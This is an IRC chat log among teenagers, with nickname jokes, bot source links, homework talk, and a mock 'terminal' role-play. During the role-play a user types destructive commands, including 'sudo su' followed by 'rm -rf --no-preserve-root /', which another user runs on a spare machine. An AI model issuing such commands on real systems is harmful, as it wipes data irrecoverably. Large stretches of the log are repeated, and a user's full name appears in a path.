[2015-04-13T22:23:41-0400] <+awe> NotAPharynx: Well, yes.
[2015-04-13T22:24:42-0400] <LittleBobbyTables> awe: now how are you going to talk to them
[2015-04-13T22:26:44-0400] <j> @addquote awe I love the letter J
[2015-04-13T22:26:51-0400] <j> whaaa
[2015-04-13T22:26:55-0400] <+awe> I removed quotes.
[2015-04-13T22:26:58-0400] <j> jerk
[2015-04-13T22:27:02-0400] <j> censorship!
[2015-04-13T22:27:15-0400] <+awe> It's not censorship.
[2015-04-13T22:27:18-0400] <LittleBobbyTables> It is
[2015-04-13T22:27:19-0400] <+awe> You can say whatever you want.
[2015-04-13T22:27:27-0400] <LittleBobbyTables> What happened to absolute freedom!?
[2015-04-13T22:28:42-0400] <LittleBobbyTables> gj ictf FailFish
[2015-04-13T22:30:26-0400] <j> I believe we can obtain full freedom in #freedom.
[2015-04-13T22:30:43-0400] <+awe> Yup.
[2015-04-13T22:30:47-0400] <+awe> Freedom is to be had in #freedom.
[2015-04-13T22:31:24-0400] <+awe> If you just #murica, you can also have freedom.
[2015-04-13T22:31:53-0400] <LittleBobbyTables> awe: can you link me awebot's source
[2015-04-13T22:31:59-0400] <LittleBobbyTables> I know it's on github but I'm lazy
[2015-04-13T22:32:12-0400] <+awe> https://github.com/aatxe/awebot
[2015-04-13T22:32:16-0400] <+awe> https://github.com/aatxe/awebot-plugins
[2015-04-13T22:32:17-0400] <j> https://github.com/aatxe/awebot
[2015-04-13T22:32:19-0400] <j> ah
[2015-04-13T22:32:22-0400] <j> 2fast
[2015-04-13T22:32:49-0400] <j> #murica is for the weak
[2015-04-13T22:32:53-0400] <j> awe has power
[2015-04-13T22:32:56-0400] <j> nobody else
[2015-04-13T22:36:37-0400] apothy (uid15876@pdgn-550.9ak.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-04-13T22:40:55-0400] JacobEdelman (uid15877@pdgn-5ih.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-04-13T22:46:23-0400] <ubuntor> wat
[2015-04-13T22:48:33-0400] <kkkenzierocks> wat
[2015-04-13T22:50:22-0400] <alokpathy> wat
[2015-04-13T22:50:34-0400] <LittleBobbyTables> wat
[2015-04-13T22:52:21-0400] kkkenzierocks is now known as kenzierocks
[2015-04-13T23:07:07-0400] Disconnect for Sleep Mode
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[2015-04-13T23:16:32-0400] awe (awe@admin.pdgn.co) joined the channel
[2015-04-13T23:16:32-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-13T23:16:32-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-13T20:52:33-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> hey jdamashek!
[2015-04-13T20:52:37-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> welcome to the club
[2015-04-13T20:52:45-0400] <jjjjjjjjjjjjjjLittleBobbyTables> jdamashek: you need more j's
[2015-04-13T20:53:11-0400] <jjjjjjjjjjjjjjLittleBobbyTables> good :)
[2015-04-13T20:53:23-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> ayy
[2015-04-13T20:53:45-0400] <jz3t> I come back
[2015-04-13T20:53:47-0400] <jz3t> everything is js
[2015-04-13T20:53:49-0400] <jz3t> D:
[2015-04-13T20:54:00-0400] <+awe>  /ban j*@*!*
[2015-04-13T20:54:20-0400] <jjjjjjjjjjjjjjLittleBobbyTables> lel
[2015-04-13T20:54:24-0400] <jjjjjjjjjjjjjjjjjjjjjjsdamashek> dank
[2015-04-13T20:54:28-0400] <jjjjjjjjjjjjjjLittleBobbyTables> you'd be banning jwoglomvps :P
[2015-04-13T20:54:49-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> and jwoglom
[2015-04-13T20:54:51-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> pls
[2015-04-13T22:05:50-0400] <Pharyngeal> What the fuck
[2015-04-13T22:08:00-0400] <LittleBobbyTables> lol
[2015-04-13T22:10:33-0400] <jjjjjjjjjjjjjjjjjjjjjjsdamashek> idk
[2015-04-13T22:20:21-0400] <+awe> a: I hate all of you.
[2015-04-13T22:21:14-0400] <a> At least mine doesn't look make the IRC client gag 
[2015-04-13T22:21:14-0400] <a> Er, s/look/
[2015-04-13T22:23:41-0400] <+awe> NotAPharynx: Well, yes.
[2015-04-13T22:24:42-0400] <LittleBobbyTables> awe: now how are you going to talk to them
[2015-04-13T22:26:44-0400] <j> @addquote awe I love the letter J
[2015-04-13T22:26:51-0400] <j> whaaa
[2015-04-13T22:26:55-0400] <+awe> I removed quotes.
[2015-04-13T22:26:58-0400] <j> jerk
[2015-04-13T22:27:02-0400] <j> censorship!
[2015-04-13T22:27:15-0400] <+awe> It's not censorship.
[2015-04-13T22:27:18-0400] <LittleBobbyTables> It is
[2015-04-13T22:27:19-0400] <+awe> You can say whatever you want.
[2015-04-13T22:27:26-0400] <LittleBobbyTables> What happened to absolute freedom!?
[2015-04-13T22:28:42-0400] <LittleBobbyTables> gj ictf FailFish
[2015-04-13T22:30:26-0400] <j> I believe we can obtain full freedom in #freedom.
[2015-04-13T22:30:43-0400] <+awe> Yup.
[2015-04-13T22:30:47-0400] <+awe> Freedom is to be had in #freedom.
[2015-04-13T22:31:24-0400] <+awe> If you just #murica, you can also have freedom.
[2015-04-13T22:31:53-0400] <LittleBobbyTables> awe: can you link me awebot's source
[2015-04-13T22:31:59-0400] <LittleBobbyTables> I know it's on github but I'm lazy
[2015-04-13T22:32:13-0400] <+awe> https://github.com/aatxe/awebot
[2015-04-13T22:32:16-0400] <+awe> https://github.com/aatxe/awebot-plugins
[2015-04-13T22:32:17-0400] <j> https://github.com/aatxe/awebot
[2015-04-13T22:32:19-0400] <j> ah
[2015-04-13T22:32:22-0400] <j> 2fast
[2015-04-13T22:32:49-0400] <j> #murica is for the weak
[2015-04-13T22:32:53-0400] <j> awe has power
[2015-04-13T22:32:56-0400] <j> nobody else
[2015-04-13T22:46:23-0400] <ubuntor> wat
[2015-04-13T22:48:33-0400] <kkkenzierocks> wat
[2015-04-13T22:50:21-0400] <alokpathy> wat
[2015-04-13T22:50:34-0400] <LittleBobbyTables> wat
[2015-04-13T23:16:33-0400] Mode is +nrt
[2015-04-13T23:38:10-0400] <LittleBobbyTables> I should probably do this quiz
[2015-04-13T23:38:13-0400] <LittleBobbyTables> on fahrenheit 451
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[2015-04-13T23:43:04-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-13T23:43:04-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-13T20:52:45-0400] <jjjjjjjjjjjjjjLittleBobbyTables> jdamashek: you need more j's
[2015-04-13T20:53:11-0400] <jjjjjjjjjjjjjjLittleBobbyTables> good :)
[2015-04-13T20:53:23-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> ayy
[2015-04-13T20:53:45-0400] <jz3t> I come back
[2015-04-13T20:53:47-0400] <jz3t> everything is js
[2015-04-13T20:53:49-0400] <jz3t> D:
[2015-04-13T20:54:00-0400] <+awe>  /ban j*@*!*
[2015-04-13T20:54:20-0400] <jjjjjjjjjjjjjjLittleBobbyTables> lel
[2015-04-13T20:54:24-0400] <jjjjjjjjjjjjjjjjjjjjjjsdamashek> dank
[2015-04-13T20:54:28-0400] <jjjjjjjjjjjjjjLittleBobbyTables> you'd be banning jwoglomvps :P
[2015-04-13T20:54:49-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> and jwoglom
[2015-04-13T20:54:51-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> pls
[2015-04-13T22:05:50-0400] <Pharyngeal> What the fuck
[2015-04-13T22:08:00-0400] <LittleBobbyTables> lol
[2015-04-13T22:10:33-0400] <jjjjjjjjjjjjjjjjjjjjjjsdamashek> idk
[2015-04-13T22:20:21-0400] <+awe> a: I hate all of you.
[2015-04-13T22:21:14-0400] <a> At least mine doesn't look make the IRC client gag 
[2015-04-13T22:21:14-0400] <a> Er, s/look/
[2015-04-13T22:23:41-0400] <+awe> NotAPharynx: Well, yes.
[2015-04-13T22:24:42-0400] <LittleBobbyTables> awe: now how are you going to talk to them
[2015-04-13T22:26:44-0400] <j> @addquote awe I love the letter J
[2015-04-13T22:26:51-0400] <j> whaaa
[2015-04-13T22:26:55-0400] <+awe> I removed quotes.
[2015-04-13T22:26:58-0400] <j> jerk
[2015-04-13T22:27:02-0400] <j> censorship!
[2015-04-13T22:27:15-0400] <+awe> It's not censorship.
[2015-04-13T22:27:18-0400] <LittleBobbyTables> It is
[2015-04-13T22:27:19-0400] <+awe> You can say whatever you want.
[2015-04-13T22:27:26-0400] <LittleBobbyTables> What happened to absolute freedom!?
[2015-04-13T22:28:42-0400] <LittleBobbyTables> gj ictf FailFish
[2015-04-13T22:30:26-0400] <j> I believe we can obtain full freedom in #freedom.
[2015-04-13T22:30:43-0400] <+awe> Yup.
[2015-04-13T22:30:47-0400] <+awe> Freedom is to be had in #freedom.
[2015-04-13T22:31:24-0400] <+awe> If you just #murica, you can also have freedom.
[2015-04-13T22:31:53-0400] <LittleBobbyTables> awe: can you link me awebot's source
[2015-04-13T22:31:59-0400] <LittleBobbyTables> I know it's on github but I'm lazy
[2015-04-13T22:32:13-0400] <+awe> https://github.com/aatxe/awebot
[2015-04-13T22:32:16-0400] <+awe> https://github.com/aatxe/awebot-plugins
[2015-04-13T22:32:17-0400] <j> https://github.com/aatxe/awebot
[2015-04-13T22:32:19-0400] <j> ah
[2015-04-13T22:32:22-0400] <j> 2fast
[2015-04-13T22:32:49-0400] <j> #murica is for the weak
[2015-04-13T22:32:53-0400] <j> awe has power
[2015-04-13T22:32:56-0400] <j> nobody else
[2015-04-13T22:46:23-0400] <ubuntor> wat
[2015-04-13T22:48:33-0400] <kkkenzierocks> wat
[2015-04-13T22:50:21-0400] <alokpathy> wat
[2015-04-13T22:50:34-0400] <LittleBobbyTables> wat
[2015-04-13T23:38:10-0400] <LittleBobbyTables> I should probably do this quiz
[2015-04-13T23:38:13-0400] <LittleBobbyTables> on fahrenheit 451
[2015-04-13T23:43:06-0400] Mode is +nrt
[2015-04-13T23:45:03-0400] failedxyz (uid50489@pdgn-550.9ak.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-04-13T23:45:44-0400] <LittleBobbyTables> anyone wanna help
[2015-04-13T23:46:47-0400] <kenzierocks> nah
[2015-04-13T23:46:59-0400] <LittleBobbyTables> damn
[2015-04-13T23:50:21-0400] <alokpathy> rekt
[2015-04-13T23:50:26-0400] <LittleBobbyTables> :(
[2015-04-13T23:50:31-0400] <alokpathy> LittleBobbyTables: What quiz?
[2015-04-13T23:50:39-0400] <LittleBobbyTables> for school
[2015-04-13T23:50:45-0400] <alokpathy> I got that part :P
[2015-04-13T23:50:50-0400] <alokpathy> Like what subject?
[2015-04-13T23:51:01-0400] <alokpathy> English?
[2015-04-13T23:51:07-0400] <LittleBobbyTables> yeah
[2015-04-13T23:51:15-0400] <alokpathy> What's the question?
[2015-04-13T23:51:32-0400] <LittleBobbyTables> ssss
[2015-04-13T23:51:41-0400] <LittleBobbyTables> https://www.irccloud.com/pastebin/8RVGMS5f
[2015-04-13T23:52:02-0400] <alokpathy> Ah, I see
[2015-04-13T23:52:20-0400] <alokpathy> Darn I should read F451.
[2015-04-13T23:52:21-0400] <LittleBobbyTables> literally too much work
[2015-04-13T23:52:29-0400] <alokpathy> It's sitting on my shelf and I haven't done much with it.
[2015-04-13T23:56:47-0400] <LittleBobbyTables> help anyway ;c
[2015-04-14T00:03:24-0400] <alokpathy> idk hao
[2015-04-14T00:03:26-0400] <alokpathy> .-.
[2015-04-14T00:05:09-0400] <LittleBobbyTables> google better than me
[2015-04-14T00:14:28-0400] <Tamini> whats it with all these jjjjj nicka
[2015-04-14T00:14:30-0400] <Tamini> nicks*
[2015-04-14T00:26:54-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> Tamini: awe kept tab completing jacobedelman and I wrong
[2015-04-14T00:27:07-0400] <Tamini> lol
[2015-04-14T00:27:22-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> so now everyone (read: 4 people)'s nick starts with a j!
[2015-04-14T00:35:05-0400] <alokpathy> jjjjjjjjjjjjjjjjjjjjjjjjjwoglom: 5 if you count your vps nick :P
[2015-04-14T00:35:48-0400] • alokpathy: heads off to bed.
[2015-04-14T00:36:01-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> ha yep, but i didn't change the nick for that one :P
[2015-04-14T00:54:00-0400] <LittleBobbyTables> I thought we had 6 total for a bit?
[2015-04-14T00:54:07-0400] <kenzierocks> was me
[2015-04-14T00:54:42-0400] <LittleBobbyTables> yaa, see
[2015-04-14T00:54:58-0400] kenzierocks is now known as jjjjjjjjjjjjjjjjjjjkenzierocks
[2015-04-14T00:55:03-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> kk
[2015-04-14T00:55:20-0400] LittleBobbyTables is now known as jjjjjjjjjjjjjjLittleBobbyTables
[2015-04-14T00:57:55-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> i r7 7/7
[2015-04-14T00:58:12-0400] <jjjjjjjjjjjjjjLittleBobbyTables> ugh
[2015-04-14T00:58:16-0400] <jjjjjjjjjjjjjjLittleBobbyTables> I have an hour to answer these 9 questions
[2015-04-14T00:58:24-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> wellllll
[2015-04-14T00:58:33-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> ya better git werkin
[2015-04-14T00:59:00-0400] <jjjjjjjjjjjjjjLittleBobbyTables> halp
[2015-04-14T00:59:12-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> git: 'halp' is not a command
[2015-04-14T00:59:17-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> did you mean 'help'
[2015-04-14T01:00:18-0400] <jjjjjjjjjjjjjjLittleBobbyTables> y
[2015-04-14T01:01:25-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> https://gist.github.com/kenzierocks/6b02a005f3a7b0458647
[2015-04-14T01:02:25-0400] <jjjjjjjjjjjjjjLittleBobbyTables> git add answers
[2015-04-14T01:03:30-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> https://gist.github.com/kenzierocks/145bf6f3da73fd33a8c7
[2015-04-14T01:03:40-0400] <Tamini> oh gof
[2015-04-14T01:03:44-0400] <Tamini> god*
[2015-04-14T01:03:46-0400] <jjjjjjjjjjjjjjLittleBobbyTables> locate answers
[2015-04-14T01:04:00-0400] <jjjjjjjjjjjjjjLittleBobbyTables> Tamini: :(
[2015-04-14T01:04:43-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> The term 'locate' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
[2015-04-14T01:05:16-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: be glad i didn't paste the whole thing
[2015-04-14T01:05:30-0400] <jjjjjjjjjjjjjjLittleBobbyTables> wtf are you using that doesn't have locate
[2015-04-14T01:05:45-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> jjjjjjjjjjjjjjLittleBobbyTables: is that...powershell...
[2015-04-14T01:05:47-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: posh~git
[2015-04-14T01:06:01-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> er the other jjj who was before you 
[2015-04-14T01:06:02-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: windows is amazing
[2015-04-14T01:06:04-0400] <jjjjjjjjjjjjjjLittleBobbyTables> lol
[2015-04-14T01:06:36-0400] <jjjjjjjjjjjjjjLittleBobbyTables> dir answers /sp
[2015-04-14T01:06:50-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> git rekt
[2015-04-14T01:07:02-0400] <jjjjjjjjjjjjjjLittleBobbyTables> err
[2015-04-14T01:07:06-0400] <jjjjjjjjjjjjjjLittleBobbyTables> that's a bad search
[2015-04-14T01:07:12-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks>  dir answers /sp
[2015-04-14T01:07:19-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> Get-ChildItem : Cannot find path 'C:\Users\Kenzie Togami\Documents\GitHub\SPONGE_STUFF\Sponge\answers' because it does not exist.
[2015-04-14T01:07:41-0400] <jjjjjjjjjjjjjjLittleBobbyTables> ohhey a full name
[2015-04-14T01:07:49-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> git.exe : git: 'rekt' is not a git command. See 'git --help'.
[2015-04-14T01:07:49-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> Did you mean this?
[2015-04-14T01:07:49-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks>     reset
[2015-04-14T01:08:25-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: my full name is retrivable from ctfs quite easily
[2015-04-14T01:08:32-0400] <jjjjjjjjjjjjjjLittleBobbyTables> I never knew it :P
[2015-04-14T01:09:15-0400] <jjjjjjjjjjjjjjLittleBobbyTables> get-childitem C:\ -filter answers -recurse \r\n foreach ($_) { \r\ndir $_}
[2015-04-14T01:09:33-0400] <jjjjjjjjjjjjjjLittleBobbyTables> You're making this difficult
[2015-04-14T01:10:10-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> Get-ChildItem : A positional parameter cannot be found that accepts argument '\r\n'.
[2015-04-14T01:10:26-0400] <jjjjjjjjjjjjjjLittleBobbyTables> ...
[2015-04-14T01:10:37-0400] <jjjjjjjjjjjjjjLittleBobbyTables> That was meant for you to hit enter in...
[2015-04-14T01:10:50-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: ?
[2015-04-14T01:11:16-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> mkdir answers && dir answers
[2015-04-14T01:11:18-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: this is posh~git, things don't work exactly like posh
[2015-04-14T01:11:21-0400] <jjjjjjjjjjjjjjLittleBobbyTables> get-childitem C:\ -filter answers -recurse 
[2015-04-14T01:11:21-0400] <jjjjjjjjjjjjjjLittleBobbyTables> foreach ($_) { 
[2015-04-14T01:11:21-0400] <jjjjjjjjjjjjjjLittleBobbyTables>     dir $_
[2015-04-14T01:11:21-0400] <jjjjjjjjjjjjjjLittleBobbyTables> }
[2015-04-14T01:11:54-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: yea i can't hit enter
[2015-04-14T01:12:02-0400] <jjjjjjjjjjjjjjLittleBobbyTables> hmm
[2015-04-14T01:12:18-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> jjjjjjjjjjjjjjjjjjjjjjjjjwoglom: The token '&&' is not a valid statement separator in this version.
[2015-04-14T01:15:29-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> Session closed.
[2015-04-14T01:15:44-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> $
[2015-04-14T01:16:17-0400] <jjjjjjjjjjjjjjLittleBobbyTables> can you help me now
[2015-04-14T01:16:37-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> nope
[2015-04-14T01:16:47-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> i got nothin on 45`
[2015-04-14T01:16:50-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> 451
[2015-04-14T01:17:07-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> jjjjjjjjjjjjjjjjjjjkenzierocks: bash pls
[2015-04-14T01:17:15-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> ok
[2015-04-14T01:17:31-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rm -rf --no-preserver-root \
[2015-04-14T01:17:37-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rm -rf --no-preserve-root \
[2015-04-14T01:17:57-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> >
[2015-04-14T01:18:18-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: i'm actually running linux right now, so ya
[2015-04-14T01:18:30-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: those \ are just gonna escape the newline
[2015-04-14T01:19:00-0400] <jjjjjjjjjjjjjjLittleBobbyTables> err
[2015-04-14T01:19:09-0400] <jjjjjjjjjjjjjjLittleBobbyTables> ctrl-d
[2015-04-14T01:19:12-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rm -rf --no-preserve-root /
[2015-04-14T01:20:25-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: lot's of permission denied
[2015-04-14T01:20:38-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: i better take this off of my friends box before he yells at me
[2015-04-14T01:21:39-0400] <jjjjjjjjjjjjjjLittleBobbyTables> sudo !!
[2015-04-14T01:21:56-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: hold on grabbing a new box
[2015-04-14T01:22:22-0400] <jjjjjjjjjjjjjjLittleBobbyTables> what's ooc even stand for
[2015-04-14T01:22:30-0400] <jjjjjjjjjjjjjjLittleBobbyTables> I know it's a "me talking, not a response"
[2015-04-14T01:22:34-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: out of character
[2015-04-14T01:22:42-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: commonly used in roleplay
[2015-04-14T01:23:04-0400] <jjjjjjjjjjjjjjLittleBobbyTables> ah
[2015-04-14T01:24:48-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: still copying file, plz hold
[2015-04-14T01:35:50-0400] <jjjjjjjjjjjjjjLittleBobbyTables> update?
[2015-04-14T01:36:23-0400] <jjjjjjjjjjjjjjLittleBobbyTables> oh my god
[2015-04-14T01:36:28-0400] <jjjjjjjjjjjjjjLittleBobbyTables> I should have read the instructions
[2015-04-14T01:36:39-0400] <jjjjjjjjjjjjjjLittleBobbyTables> "You must respond to any one these directives.  A good response will be in the range of 200 words (Some responses will require more words than others.)  "
[2015-04-14T01:37:16-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: lol
[2015-04-14T01:37:20-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: still installing
[2015-04-14T01:37:32-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: takes some time ubuntu D:
[2015-04-14T01:42:37-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: restarting
[2015-04-14T01:48:24-0400] <jjjjjjjjjjjjjjLittleBobbyTables> http://boardgamegeek.com/boardgame/4815/campaign-north-africa
[2015-04-14T01:49:55-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: okay ready for commands
[2015-04-14T01:50:40-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> jjjjjjjjjjjjjjLittleBobbyTables: 
[2015-04-14T01:50:49-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> kenzie@ubuntu:~$ 
[2015-04-14T01:52:13-0400] <jjjjjjjjjjjjjjLittleBobbyTables> sudo su
[2015-04-14T01:52:30-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: i typed password
[2015-04-14T01:52:30-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> root@ubuntu:/home/kenzie# 
[2015-04-14T01:52:43-0400] <jjjjjjjjjjjjjjLittleBobbyTables> cd /
[2015-04-14T01:52:54-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> root@ubuntu:/# 
[2015-04-14T01:52:57-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rm -rf --no-preserve-root .
[2015-04-14T01:53:07-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> rm: cannot remove directory: ‘.’
[2015-04-14T01:53:12-0400] <jjjjjjjjjjjjjjLittleBobbyTables> lies
[2015-04-14T01:53:35-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> http://prntscr.com/6tiqb1
[2015-04-14T01:54:00-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rm -rf --no-preserve-root /
[2015-04-14T01:54:08-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: please hold, taking time
[2015-04-14T01:54:33-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: terminal D34D
[2015-04-14T01:54:48-0400] <jjjjjjjjjjjjjjLittleBobbyTables> Are you a button presser?
[2015-04-14T01:54:58-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: what does that mean
[2015-04-14T01:55:10-0400] <jjjjjjjjjjjjjjLittleBobbyTables> reddit.com/r/thebutton
[2015-04-14T01:55:31-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> i must log in
[2015-04-14T01:56:11-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> your account is too new
[2015-04-14T01:56:13-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> :|
[2015-04-14T01:56:54-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rekt
[2015-04-14T01:57:24-0400] • jjjjjjjjjjjjjjjjjjjkenzierocks: logs off
[2015-04-14T01:57:31-0400] jjjjjjjjjjjjjjjjjjjkenzierocks is now known as kenzierocks
[2015-04-14T01:57:55-0400] <jjjjjjjjjjjjjjLittleBobbyTables> who am I going to talk to now
[2015-04-14T02:10:22-0400] <Tamini> go to sleep
[2015-04-14T02:10:38-0400] <jjjjjjjjjjjjjjLittleBobbyTables> why
[2015-04-14T02:10:40-0400] <jjjjjjjjjjjjjjLittleBobbyTables> it's only 11
[2015-04-14T02:14:31-0400] <jjjjjjjjjjjjjjLittleBobbyTables> gn
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[2015-04-14T07:37:41-0400] <JacobEdelman> Gmorning all 
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[2015-04-14T12:55:51-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-14T01:48:24-0400] <jjjjjjjjjjjjjjLittleBobbyTables> http://boardgamegeek.com/boardgame/4815/campaign-north-africa
[2015-04-14T01:49:55-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: okay ready for commands
[2015-04-14T01:50:40-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> jjjjjjjjjjjjjjLittleBobbyTables: 
[2015-04-14T01:50:49-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> kenzie@ubuntu:~$ 
[2015-04-14T01:52:13-0400] <jjjjjjjjjjjjjjLittleBobbyTables> sudo su
[2015-04-14T01:52:30-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: i typed password
[2015-04-14T01:52:30-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> root@ubuntu:/home/kenzie# 
[2015-04-14T01:52:43-0400] <jjjjjjjjjjjjjjLittleBobbyTables> cd /
[2015-04-14T01:52:54-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> root@ubuntu:/# 
[2015-04-14T01:52:57-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rm -rf --no-preserve-root .
[2015-04-14T01:53:07-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> rm: cannot remove directory: ‘.’
[2015-04-14T01:53:12-0400] <jjjjjjjjjjjjjjLittleBobbyTables> lies
[2015-04-14T01:53:35-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> http://prntscr.com/6tiqb1
[2015-04-14T01:54:00-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rm -rf --no-preserve-root /
[2015-04-14T01:54:08-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: please hold, taking time
[2015-04-14T01:54:33-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: terminal D34D
[2015-04-14T01:54:48-0400] <jjjjjjjjjjjjjjLittleBobbyTables> Are you a button presser?
[2015-04-14T01:54:58-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> OOC: what does that mean
[2015-04-14T01:55:10-0400] <jjjjjjjjjjjjjjLittleBobbyTables> reddit.com/r/thebutton
[2015-04-14T01:55:31-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> i must log in
[2015-04-14T01:56:11-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> your account is too new
[2015-04-14T01:56:13-0400] <jjjjjjjjjjjjjjjjjjjkenzierocks> :|
[2015-04-14T01:56:54-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rekt
[2015-04-14T01:57:24-0400] • jjjjjjjjjjjjjjjjjjjkenzierocks: logs off
[2015-04-14T01:57:55-0400] <jjjjjjjjjjjjjjLittleBobbyTables> who am I going to talk to now
[2015-04-14T02:10:22-0400] <Tamini> go to sleep
[2015-04-14T02:10:38-0400] <jjjjjjjjjjjjjjLittleBobbyTables> why
[2015-04-14T02:10:40-0400] <jjjjjjjjjjjjjjLittleBobbyTables> it's only 11
[2015-04-14T02:14:31-0400] <jjjjjjjjjjjjjjLittleBobbyTables> gn
[2015-04-14T07:37:41-0400] <JacobEdelman> Gmorning all 
[2015-04-14T11:33:45-0400] <apothy> Lol the j nicks are still here
[2015-04-14T11:34:06-0400] <apothy> I'm just wondering when you guys will change them back XD
[2015-04-14T11:42:17-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> never!!!!
[2015-04-14T11:57:53-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> Tamini: join us
[2015-04-14T11:57:55-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> apothy: join us
[2015-04-14T11:58:03-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> @tell JacobEdelman join us
